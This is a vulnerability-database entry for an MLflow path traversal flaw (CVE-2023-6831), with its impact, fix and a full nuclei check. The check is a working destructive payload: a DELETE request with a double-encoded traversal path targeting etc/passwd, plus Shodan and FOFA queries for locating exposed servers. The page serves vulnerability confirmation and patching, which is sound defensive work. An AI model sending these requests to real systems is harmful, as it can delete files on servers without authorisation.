HexBrain

Browse / CVEs / CVE-2023-6831

CVE-2023-6831· lfprojects / mlflow· CWE-22, CWE-29

mlflow - Path Traversal

highseverity
8.1CVSS score
3.3%likelihood of exploitation, next 30 days
89%of all CVEs are less likely
Readycheck to confirm it

Path Traversal: '\..\filename' in GitHub repository mlflow/mlflow prior to 2.9.2.

Impact

Authenticated attackers can exploit path traversal vulnerabilities to delete arbitrary files on mlflow servers through crafted API requests.

Fix

Upgrade Mlflow to version 2.9.2 or later to mitigate the vulnerability.

How to confirm it

Send: PUT /api/2.0/mlflow-artifacts/artifacts/{{randstr}} ; DELETE /api/2.0/mlflow-artifacts/artifacts/%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252fpasswd
Positive when: contains in header_2 "Content-Type: application/json" and "Server: gunicorn" AND contains in body_2 "{}" AND status 500

Run it with nuclei: nuclei -id CVE-2023-6831 -u <target>

The full check
id: CVE-2023-6831

info:
  name: mlflow - Path Traversal
  author: byObin
  severity: high
  description: |
    Path Traversal: '\..\filename' in GitHub repository mlflow/mlflow prior to 2.9.2.
  impact: |
    Authenticated attackers can exploit path traversal vulnerabilities to delete arbitrary files on mlflow servers through crafted API requests.
  remediation: |
    Upgrade Mlflow to version 2.9.2 or later to mitigate the vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6831
    - https://github.com/mlflow/mlflow/commit/1da75dfcecd4d169e34809ade55748384e8af6c1
    - https://huntr.com/bounties/0acdd745-0167-4912-9d5c-02035fe5b314
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2023-6831
    cwe-id: CWE-22,CWE-29
    epss-score: 0.0329
    epss-percentile: 0.88587
    cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: lfprojects
    product: mlflow
    shodan-query: "http.title:\"mlflow\""
    fofa-query:
      - title="mlflow"
      - app="mlflow"
    google-query: intitle:"mlflow"
  tags: cve,cve2023,mlflow,pathtraversal,lfprojects,intrusive,vuln

http:
  - raw:
      - |
        PUT /api/2.0/mlflow-artifacts/artifacts/{{randstr}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {{randstr}}

      - |
        DELETE /api/2.0/mlflow-artifacts/artifacts/%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252fpasswd HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: header_2
        words:
          - "Content-Type: application/json"
          - "Server: gunicorn"
        condition: and

      - type: word
        part: body_2
        words:
          - "{}"

      - type: status
        status:
          - 500

References

Use this check only on systems you are authorised to test. Where the data comes from